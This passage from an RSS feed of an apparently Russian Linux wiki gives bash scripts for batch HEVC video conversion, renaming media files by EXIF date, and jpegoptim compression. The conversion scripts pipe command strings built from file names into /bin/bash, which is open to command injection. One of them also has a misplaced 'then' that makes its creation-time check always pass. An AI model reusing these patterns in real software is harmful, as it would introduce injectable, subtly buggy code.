Затем, у каждого файла проверяется текущий видеокодек и если он не &lt;strong&gt;HEVC (h265)&lt;/strong&gt;, то файл проверяется на наличие ошибок и если все все хорошо - конвертируется. Конвертированный  файл кладется с именем оригинального файла на то же место, где лежал оригинальный файл. &lt;br/&gt;

После конвертации в файле меняется значение &lt;strong&gt;EXIF&lt;/strong&gt;-аттрибута &lt;strong&gt;creation_date&lt;/strong&gt; на значение извлеченное из оригинального файла. &lt;br/&gt;

В качестве бонуса подсчитывается количество сэкономленного места. &lt;br/&gt;

Для работы нужно задать параметры - папку с исходными файлами, папку куда будут положены исходные файлы после конвертации, а также количество потоков для &lt;strong&gt;HandBrakeCLI&lt;/strong&gt;, чтобы система оставалась юзабельной во время конвертации.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash

srcdir=&amp;quot;/home/AUTOSYS/mike/Downloads/paan/&amp;quot;
oldfilesdir=`dirname &amp;quot;$srcdir&amp;quot;`/Unconverted_Video_`basename &amp;quot;$srcdir&amp;quot;`
filelist=`find $srcdir -type f -exec file -N -i -- {} + | sed -n &amp;#039;s!: video/[^:]*$!!p&amp;#039;`
logfile=$oldfilesdir/convertation_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`.log
threads=3
quality=30

mkdir $oldfilesdir
oldsize=0; newsize=0; filesleft=0; corruptedfiles=0
filesleft=`echo &amp;quot;$filelist&amp;quot; | wc -l`
echo $filesleft &amp;quot;video files detected&amp;quot; | tee -a $logfile
while read -r file
do
echo &amp;quot;FILE - $file&amp;quot; | tee -a $logfile
echo &amp;quot;ffprobe -show_format \&amp;quot;$file\&amp;quot; 2&amp;gt;&amp;amp;1 | grep Video: | grep hevc&amp;quot; | /bin/bash 1&amp;gt;/dev/null 2&amp;gt;/dev/null
if [ $? -eq 0 ]; then echo &amp;quot;This File is already in HEVC (h265)&amp;quot; | tee -a $logfile
else
        echo &amp;quot;Checking file for errors...&amp;quot; | tee -a $logfile
        echo &amp;quot;ffmpeg -i \&amp;quot;$file\&amp;quot; -v error -f null - 2&amp;gt;/dev/null 1&amp;gt;/dev/null&amp;quot; | /bin/bash 1&amp;gt;/dev/null 2&amp;gt;/dev/null
        if [ $? -ne 0 ]; then echo &amp;quot;File corrupted. Skipping...&amp;quot; | tee -a $logfile; (( corruptedfiles++ ))
        else
        filedir=`dirname &amp;quot;$file&amp;quot;`
        filesize=`du -k &amp;quot;$file&amp;quot; | cut -f1`
        filename=`basename &amp;quot;$file&amp;quot;`
        creationtime=`echo &amp;quot;ffprobe \&amp;quot;$file\&amp;quot; 2&amp;gt;&amp;amp;1 | grep -m 1 creation_time | sed -n -e &amp;#039;s/^.*creation_time\ *:\ *//p&amp;#039;&amp;quot; | /bin/bash`
        oldsize=$(( oldsize + filesize ))
        mkdir --parents &amp;quot;$oldfilesdir&amp;quot;/&amp;quot;$filedir&amp;quot;
        mv &amp;quot;$file&amp;quot; &amp;quot;$oldfilesdir&amp;quot;/&amp;quot;$filedir&amp;quot;
        echo &amp;quot;HandBrakeCLI -i \&amp;quot;$oldfilesdir\&amp;quot;/\&amp;quot;$file\&amp;quot; -o \&amp;quot;$filedir\&amp;quot;/\&amp;quot;$filename\&amp;quot; -e x265 -q $quality -E av_aac \
        --custom-anamorphic --keep-display-aspect -O -x threads=$threads 2&amp;gt; /dev/null&amp;quot; | /bin/bash
        handbrakereturn=$?
        if [ &amp;quot;$handbrakereturn&amp;quot; -eq 0 ]
                then echo &amp;quot;Convertation Done.&amp;quot; | tee -a $logfile
                if [ &amp;quot;$creationtime&amp;quot; ]
                        then echo &amp;quot;Preserving Creation Time...&amp;quot; | tee -a $logfile
                        echo &amp;quot;ffmpeg -i \&amp;quot;$filedir\&amp;quot;/\&amp;quot;$filename\&amp;quot; -metadata:s:v:0 creation_time=\&amp;quot;$creationtime\&amp;quot; \
                        -metadata:s:a:0 creation_time=\&amp;quot;$creationtime\&amp;quot; -metadata creation_time=\&amp;quot;$creationtime\&amp;quot; \
                        -c copy \&amp;quot;$filedir\&amp;quot;/\&amp;quot;new_date_$filename\&amp;quot; 2&amp;gt; /dev/null&amp;quot; | /bin/bash
                        if [ $? -eq 0 ]; then echo &amp;quot;Done.&amp;quot; | tee -a $logfile; else echo &amp;quot;Preservation of Creation Time metadata failed...&amp;quot; | tee -a $logfile; fi 
                        mv &amp;quot;$filedir&amp;quot;/&amp;quot;new_date_$filename&amp;quot; &amp;quot;$filedir&amp;quot;/&amp;quot;$filename&amp;quot;
                        else echo &amp;quot;Creation Time metadata not found&amp;quot; | tee -a $logfile
                fi
                else echo &amp;quot;Convertation ERROR. HandBrakeCLI Exit Code: $handbrakereturn&amp;quot; | tee -a $logfile
                mv &amp;quot;$oldfilesdir&amp;quot;/&amp;quot;$file&amp;quot; &amp;quot;$file&amp;quot;
        fi
        sync
        filesize=`du -k &amp;quot;$file&amp;quot; | cut -f1`
        newsize=$(( newsize + filesize ))
fi
fi
        (( filesleft-- ))
        echo $filesleft &amp;quot;files left to convert&amp;quot; | tee -a $logfile
done &amp;lt; &amp;lt;(echo &amp;quot;$filelist&amp;quot;)
echo &amp;quot;Converted files old size - $oldsize Kb&amp;quot; | tee -a $logfile
echo &amp;quot;Converted files new size - $newsize Kb&amp;quot; | tee -a $logfile
echo &amp;quot;Saved Space - $(( $oldsize - $newsize )) Kb&amp;quot; | tee -a $logfile
echo &amp;quot;Corrupted files: $corruptedfiles&amp;quot; | tee -a $logfile&lt;/pre&gt;

&lt;p&gt;
Вот вариант, еоторый кладет новые файлы на место старых:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash

srcdir=/home/valusik/Изображения
#srcdir=/home/valusik/Изображения/test
filelist=`find $srcdir -type f -exec file -N -i -- {} + | sed -n &amp;#039;s!: video/[^:]*$!!p&amp;#039;`
logfile=$srcdir/convertation_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`.log
threads=3

#mkdir $oldfilesdir
oldsize=0; newsize=0; filesleft=0; corruptedfiles=0
filesleft=`echo &amp;quot;$filelist&amp;quot; | wc -l`
echo $filesleft &amp;quot;video files detected&amp;quot; | tee -a $logfile
while read -r file
do
echo &amp;quot;FILE - $file&amp;quot; | tee -a $logfile
echo &amp;quot;ffprobe -show_format \&amp;quot;$file\&amp;quot; 2&amp;gt;&amp;amp;1 | grep Video: | grep hevc&amp;quot; | /bin/bash 1&amp;gt;/dev/null 2&amp;gt;/dev/null
if [ $? -eq 0 ]; then echo &amp;quot;This File is already in HEVC (h265)&amp;quot; | tee -a $logfile
else
        echo &amp;quot;Checking file for errors...&amp;quot; | tee -a $logfile
        echo &amp;quot;ffmpeg -i \&amp;quot;$file\&amp;quot; -v error -f null - 2&amp;gt;/dev/null 1&amp;gt;/dev/null&amp;quot; | /bin/bash 1&amp;gt;/dev/null 2&amp;gt;/dev/null
        if [ $? -ne 0 ]; then echo &amp;quot;File corrupted. Skipping...&amp;quot; | tee -a $logfile; (( corruptedfiles++ ))
        else
        filedir=`dirname &amp;quot;$file&amp;quot;`
        filesize=`du -k &amp;quot;$file&amp;quot; | cut -f1`
        filename=`basename &amp;quot;$file&amp;quot;`
        creationtime=`echo &amp;quot;ffprobe \&amp;quot;$file\&amp;quot; 2&amp;gt;&amp;amp;1 | grep -m 1 creation_time | sed -n -e &amp;#039;s/^.*creation_time\ *:\ *//p&amp;#039;&amp;quot; | /bin/bash`
        oldsize=$(( oldsize + filesize ))
        echo &amp;quot;Creation time - \&amp;quot;$creationtime\&amp;quot;; Filesize - \&amp;quot;$filesize\&amp;quot;&amp;quot;
        mv &amp;quot;$file&amp;quot; &amp;quot;$file&amp;quot;.old
        echo &amp;quot;HandBrakeCLI -i \&amp;quot;$file\&amp;quot;.old -o \&amp;quot;$file\&amp;quot; -e x265 -q 20 -E av_aac \
        --custom-anamorphic --keep-display-aspect -O -x threads=$threads 4&amp;gt; /dev/null&amp;quot; | /bin/bash
        handbrakereturn=$?
        if [ &amp;quot;$handbrakereturn&amp;quot; -eq 0 ]
                then echo &amp;quot;Convertation Done.&amp;quot; | tee -a $logfile
                rm -f &amp;quot;$file&amp;quot;.old
                if [ &amp;quot;$creationtime&amp;quot; ]
                        file_extension=&amp;quot;${file##*.}&amp;quot;
                        new_date_file=&amp;quot;$file&amp;quot;_new_date.&amp;quot;$file_extension&amp;quot;
                        then echo &amp;quot;Preserving Creation Time...&amp;quot; | tee -a $logfile
                        preservation_time_cmd=&amp;quot;ffmpeg -i \&amp;quot;$file\&amp;quot; -metadata:s:v:0 creation_time=\&amp;quot;$creationtime\&amp;quot; \
                        -metadata:s:a:0 creation_time=\&amp;quot;$creationtime\&amp;quot; -metadata creation_time=\&amp;quot;$creationtime\&amp;quot; \
                        -c copy \&amp;quot;$new_date_file\&amp;quot; 2&amp;gt; /dev/null&amp;quot;
                        echo $preservation_time_cmd | /bin/bash
                        if [ $? -eq 0 ]; then echo &amp;quot;Done.&amp;quot; | tee -a $logfile; mv &amp;quot;$new_date_file&amp;quot; &amp;quot;$file&amp;quot;; else echo &amp;quot;Preservation of Creation Time metadata failed...&amp;quot; | tee -a $logfile; fi
                else echo &amp;quot;Creation Time metadata not found&amp;quot; | tee -a $logfile
                fi
        else
                echo &amp;quot;Convertation ERROR. HandBrakeCLI Exit Code: $handbrakereturn&amp;quot; | tee -a $logfile
                mv &amp;quot;$file&amp;quot;.old &amp;quot;$file&amp;quot;
        fi
        sync
        filesize=`du -k &amp;quot;$file&amp;quot; | cut -f1`
        newsize=$(( newsize + filesize ))
fi
fi
        (( filesleft-- ))
        echo $filesleft &amp;quot;files left to convert&amp;quot; | tee -a $logfile
done &amp;lt; &amp;lt;(echo &amp;quot;$filelist&amp;quot;)
echo &amp;quot;Converted files old size - $oldsize Kb&amp;quot; | tee -a $logfile
echo &amp;quot;Converted files new size - $newsize Kb&amp;quot; | tee -a $logfile
echo &amp;quot;Saved Space - $(( $oldsize - $newsize )) Kb&amp;quot; | tee -a $logfile
echo &amp;quot;Corrupted files: $corruptedfiles&amp;quot; | tee -a $logfile&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435_\u0441\u043a\u0440\u0438\u043f\u0442\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2988-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 15 Nov 2019 13:00:35 +0000</pubDate>
        </item>
        <item>
            <title>bash_script_to_rename_photos_based_on_date_taken</title>
            <link>https://wiki.autosys.tk/linux_faq/bash_script_to_rename_photos_based_on_date_taken</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;софт&quot;&gt;Софт&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Программы для получения информации о дате создания файла: &lt;strong&gt;mediainfo&lt;/strong&gt; &lt;strong&gt;exiftool (libimage-exiftool-perl)&lt;/strong&gt; &lt;strong&gt;ffprobe&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0444\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0444\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-196&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;скрипт&quot;&gt;Скрипт&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Скрипт выполняет поиск файлов по расширениям, извлекает из &lt;strong&gt;EXIF&lt;/strong&gt; информацию о дате создания и переименовывает файлы. Работа скрипта аналогична скриптам на &lt;strong&gt;power-shell&lt;/strong&gt;: &lt;a href=&quot;https://wiki.autosys.tk/ms_windows_ms_sql/powershell_script_to_rename_photos_based_on_date_taken&quot; class=&quot;wikilink1&quot; title=&quot;ms_windows_ms_sql:powershell_script_to_rename_photos_based_on_date_taken&quot; data-wiki-id=&quot;ms_windows_ms_sql:powershell_script_to_rename_photos_based_on_date_taken&quot;&gt;powershell_script_to_rename_photos_based_on_date_taken&lt;/a&gt;, однако работает и с видеофайлами.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
DIRECTORY=&amp;quot;/files/cloud/Unsorted_renamed&amp;quot;

for file in $DIRECTORY/*.{jpg,mp4,JPG,3gp,MOV,mov}

do
  filename=$(basename &amp;quot;$file&amp;quot;)
  extension=&amp;quot;${filename##*.}&amp;quot;
  new_file_name=`exiftool -d &amp;quot;%Y_%m_%d-%Hh_%Mm_%Ss&amp;quot; -CreateDate &amp;quot;$file&amp;quot; | awk &amp;#039;{print $4}&amp;#039;`
  echo &amp;quot;Old FileName &amp;quot; `basename $filename`
  if [[  &amp;quot;$new_file_name&amp;quot; ]];
  then
    echo &amp;quot;New FileName &amp;quot; $new_file_name.$extension
    new_file_name=$DIRECTORY/$new_file_name.$extension
    if [ -f $new_file_name ];
    then
      echo &amp;quot;File $new_file_name already exists. Skipping...&amp;quot;
    else
      echo &amp;quot;Moving $file to $new_file_name...&amp;quot;
      mv $file $new_file_name
    fi
  else
    echo &amp;quot;EMPTY EXIF&amp;quot;
fi

done&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043a\u0440\u0438\u043f\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043a\u0440\u0438\u043f\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;197-1363&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;не_мой_скрипт&quot;&gt;Не мой скрипт&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
# By Ferux, 26 June 2016.
# Script for renaming photos and videos based on their date.
# Useful for watching slideshows with the videos at the moment they were shot instead of all at the end.
# Also useful for combining pictures of multiple sources into the correct order.
# For jpg&amp;#039;s, the exif date &amp;#039;taken on&amp;#039; will be used. If that&amp;#039;s not found, the date of last change is used.
# For all other files, date of last change is used. Only following extensions are affected: mp4, mpg, png, avi, mov, jpg.

# To use this:
# 1. Put this text in a file named renamephotos
# 2. Make the file executable.
# 3. Put the file in the folder of which you want to rename the files.
# 4. Nautilus: File --&amp;gt; open in terminal.
# 5. In the terminal window, enter the following command: ./renamephotos

# Make the next one &amp;#039;true&amp;#039; if you always want to add the original filename at the end of the new one.
# Otherwise the script will only do that if 2 files with the same name would be created.
preservefn=&amp;quot;false&amp;quot;

for filename in *.*
do
  echo &amp;quot;$filename&amp;quot;
  tmp=&amp;quot;$(echo &amp;quot;$filename&amp;quot; | tr &amp;#039;[A-Z]&amp;#039; &amp;#039;[a-z]&amp;#039;)&amp;quot;
  case &amp;quot;$filename&amp;quot; in
    20*) 
      echo &amp;#039;left alone because already starts with 20&amp;#039;
      ;;
    *.mp4|*.MP4)
      doelextensie=&amp;quot;.mp4&amp;quot;
      wadissergebeurd=&amp;quot;Video, used date of last change.&amp;quot;
      newfilename=&amp;quot;$(stat -c %y &amp;quot;$filename&amp;quot; | sed -e &amp;#039;s/\................//g&amp;#039; -e &amp;#039;s/-//g&amp;#039; -e &amp;#039;s/://g&amp;#039; -e &amp;#039;s/ /_/g&amp;#039;)&amp;quot;
      if [ -a &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot; ] || [ &amp;quot;$preservefn&amp;quot; == &amp;quot;true&amp;quot; ]
      then
        mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;&amp;quot;$newfilename&amp;quot;_&amp;quot;$filename&amp;quot;&amp;quot;&amp;quot;
        echo &amp;quot;$wadissergebeurd&amp;quot;
        echo &amp;#039;Original name added at the end&amp;#039;
      else
        mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot;
        echo &amp;quot;$wadissergebeurd&amp;quot;
      fi
      ;;
    *.mpg|*.MPG)
      doelextensie=&amp;quot;.mpg&amp;quot;
      wadissergebeurd=&amp;quot;Video, used date of last change.&amp;quot;
      newfilename=&amp;quot;$(stat -c %y &amp;quot;$filename&amp;quot; | sed -e &amp;#039;s/\................//g&amp;#039; -e &amp;#039;s/-//g&amp;#039; -e &amp;#039;s/://g&amp;#039; -e &amp;#039;s/ /_/g&amp;#039;)&amp;quot;
      if [ -a &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot; ] || [ &amp;quot;$preservefn&amp;quot; == &amp;quot;true&amp;quot; ]
      then
        mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;_&amp;quot;&amp;quot;$filename&amp;quot;&amp;quot;&amp;quot;
        echo &amp;quot;$wadissergebeurd&amp;quot;
        echo &amp;#039;Original name added at the end&amp;#039;
      else
        mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot;
        echo &amp;quot;$wadissergebeurd&amp;quot;
      fi
      ;;
    *.png|*.PNG)
      doelextensie=&amp;quot;.png&amp;quot;
      wadissergebeurd=&amp;quot;PNG, used date of last change.&amp;quot;
      newfilename=&amp;quot;$(stat -c %y &amp;quot;$filename&amp;quot; | sed -e &amp;#039;s/\................//g&amp;#039; -e &amp;#039;s/-//g&amp;#039; -e &amp;#039;s/://g&amp;#039; -e &amp;#039;s/ /_/g&amp;#039;)&amp;quot;
      if [ -a &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot; ] || [ &amp;quot;$preservefn&amp;quot; == &amp;quot;true&amp;quot; ]
      then
        mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;_&amp;quot;&amp;quot;$filename&amp;quot;&amp;quot;&amp;quot;
        echo &amp;quot;$wadissergebeurd&amp;quot;
        echo &amp;#039;Original name added at the end&amp;#039;
      else
        mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot;
        echo &amp;quot;$wadissergebeurd&amp;quot;
      fi
      ;;
    *.avi|*.AVI)
      doelextensie=&amp;quot;.avi&amp;quot;
      wadissergebeurd=&amp;quot;Video, used date of last change.&amp;quot;
      newfilename=&amp;quot;$(stat -c %y &amp;quot;$filename&amp;quot; | sed -e &amp;#039;s/\................//g&amp;#039; -e &amp;#039;s/-//g&amp;#039; -e &amp;#039;s/://g&amp;#039; -e &amp;#039;s/ /_/g&amp;#039;)&amp;quot;
      if [ -a &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot; ] || [ &amp;quot;$preservefn&amp;quot; == &amp;quot;true&amp;quot; ]
      then
        mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;_&amp;quot;&amp;quot;$filename&amp;quot;&amp;quot;&amp;quot;
        echo &amp;quot;$wadissergebeurd&amp;quot;
        echo &amp;#039;Original name added at the end&amp;#039;
      else
        mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot;
        echo &amp;quot;$wadissergebeurd&amp;quot;
      fi
      ;;
    *.mov|*.MOV)
      doelextensie=&amp;quot;.mov&amp;quot;
      wadissergebeurd=&amp;quot;Video, used date of last change.&amp;quot;
      newfilename=&amp;quot;$(stat -c %y &amp;quot;$filename&amp;quot; | sed -e &amp;#039;s/\................//g&amp;#039; -e &amp;#039;s/-//g&amp;#039; -e &amp;#039;s/://g&amp;#039; -e &amp;#039;s/ /_/g&amp;#039;)&amp;quot;
      if [ -a &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot; ] || [ &amp;quot;$preservefn&amp;quot; == &amp;quot;true&amp;quot; ]
      then
        mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;_&amp;quot;&amp;quot;$filename&amp;quot;&amp;quot;&amp;quot;
        echo &amp;quot;$wadissergebeurd&amp;quot;
        echo &amp;#039;Original name added at the end&amp;#039;
      else
        mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot;
        echo &amp;quot;$wadissergebeurd&amp;quot;
      fi
      ;;
    *.JPG|*.jpg|*.jpeg|*.JPEG)
      newnametemp=&amp;quot;$(exiftool -a -s -CreateDate &amp;quot;$filename&amp;quot;)&amp;quot;
      doelextensie=&amp;quot;.jpg&amp;quot;
      if [ -z &amp;quot;$newnametemp&amp;quot; ]
      then 
        wadissergebeurd=&amp;quot;No exif date found, using last changed date&amp;quot;
        newfilename=&amp;quot;$(stat -c %y &amp;quot;$filename&amp;quot; | sed -e &amp;#039;s/\................//g&amp;#039; -e &amp;#039;s/-//g&amp;#039; -e &amp;#039;s/://g&amp;#039; -e &amp;#039;s/ /_/g&amp;#039;)&amp;quot;
        if [ -a &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot; ] || [ &amp;quot;$preservefn&amp;quot; == &amp;quot;true&amp;quot; ]
        then
          mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;&amp;quot;$newfilename&amp;quot;_&amp;quot;$filename&amp;quot;&amp;quot;&amp;quot;
          echo &amp;quot;$wadissergebeurd&amp;quot;
          echo &amp;#039;Original name added at the end&amp;#039;
        else
          mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot;
          echo &amp;quot;$wadissergebeurd&amp;quot;
        fi
      else
        newfilename=&amp;quot;$(exiftool -a -s -CreateDate &amp;quot;$filename&amp;quot; | awk -F &amp;#039;: &amp;#039; &amp;#039;{print $2}&amp;#039; | sed -e &amp;#039;s/://g&amp;#039; -e &amp;#039;s/ /_/g&amp;#039;)&amp;quot;
        newfilename=&amp;quot;$(echo $newfilename | cut -c 1-15)&amp;quot;
        wadissergebeurd=&amp;quot;Date taken from exif info&amp;quot;
        if [ -a &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot; ] || [ &amp;quot;$preservefn&amp;quot; == &amp;quot;true&amp;quot; ]
        then
          mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;&amp;quot;$newfilename&amp;quot;_&amp;quot;$filename&amp;quot;&amp;quot;&amp;quot;
          echo &amp;quot;$wadissergebeurd&amp;quot;
          echo &amp;#039;Original name added at the end&amp;#039;
        else
          mv -i &amp;quot;$filename&amp;quot; &amp;quot;&amp;quot;$newfilename&amp;quot;&amp;quot;$doelextensie&amp;quot;&amp;quot;
          echo &amp;quot;$wadissergebeurd&amp;quot;
        fi
      fi
      ;;
    *)
      echo &amp;#039;Not a *.jpg / *.png / *.mp4 / *.avi!&amp;#039;
      ;;
  esac
done&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0435 \u043c\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0435_\u043c\u043e\u0439_\u0441\u043a\u0440\u0438\u043f\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1364-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>batch_optimize_jpgs_jpegs_photos_using_cli</title>
            <link>https://wiki.autosys.tk/linux_faq/batch_optimize_jpgs_jpegs_photos_using_cli</link>
            <description>
&lt;p&gt;
Для пересылки по электронной почте мне понадобилось оптимизировать размер некоторого количества jpeg-файлов. &lt;br/&gt;

В &lt;strong&gt;ubuntu linux&lt;/strong&gt; сделать это можно с помощью утилиты &lt;strong&gt;jpegoptim&lt;/strong&gt;. Она позволяет как оптимизировать размер без потери качества, так и с потерей качества, указав его необходимый уровень. &lt;br/&gt;

Устанавливаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install jpegoptim&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;оптимизация_размера_jpeg_без_потери_качества&quot;&gt;Оптимизация размера jpeg без потери качества&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Проверяем, насколько можно сжать файл:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;jpegoptim -n file.jpg&lt;/pre&gt;

&lt;p&gt;
Сжимаем один файл без потери качества:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;jpegoptim file.jpg&lt;/pre&gt;

&lt;p&gt;
Утилита сожмет и перезапишет файл. Если сжимать дальше уже невозможно, то файл будет пропущен. &lt;br/&gt;

Можно избежать перезаписи исходного файла, указав директорию для сохранения оптимизированных файлов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;jpegoptim -d ./optimized file.jpg&lt;/pre&gt;

&lt;p&gt;
Сохранить аттрибуты файла (дата/время создания файла) можно, указав опцию &lt;strong&gt;-p&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;jpegoptim -d ./optimized -p file.jpg&lt;/pre&gt;

&lt;p&gt;
Сжать файл с потерей качества можно, указав опцию &lt;strong&gt;-mNN&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;jpegoptim -m50 file.jpg&lt;/pre&gt;

&lt;p&gt;
В результате файл будет оптимизирован по размеру с 50% потерей качества.&lt;br/&gt;

&lt;br/&gt;

Оптимизировать по размеру все файлы jpg  в папке можно с помощью однострочного цикла:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;for i in *.jpg; do jpegoptim -d ./compressed -p &amp;quot;$i&amp;quot; ; done&lt;/pre&gt;

&lt;p&gt;
Рекурсивно:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;find /home/valusik/Изображения/ -type f -iname *.jpg -exec jpegoptim -p --all-progressive {} +&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u0440\u0430\u0437\u043c\u0435\u0440\u0430 jpeg \u0431\u0435\u0437 \u043f\u043e\u0442\u0435\u0440\u0438 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f_\u0440\u0430\u0437\u043c\u0435\u0440\u0430_jpeg_\u0431\u0435\u0437_\u043f\u043e\u0442\u0435\u0440\u0438_\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;587-2063&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;уменьшение_размера_jpg_до_заданного&quot;&gt;Уменьшение размера jpg до заданного&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;for i in *.jpg; do jpegoptim -S20% $i ; done&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u043c\u0435\u043d\u044c\u0448\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 jpg \u0434\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0433\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u043c\u0435\u043d\u044c\u0448\u0435\u043d\u0438\u0435_\u0440\u0430\u0437\u043c\u0435\u0440\u0430_jpg_\u0434\u043e_\u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0433\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;2064-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 28 Nov 2025 10:23:14 +0000</pubDate>
        </item>
        <item>
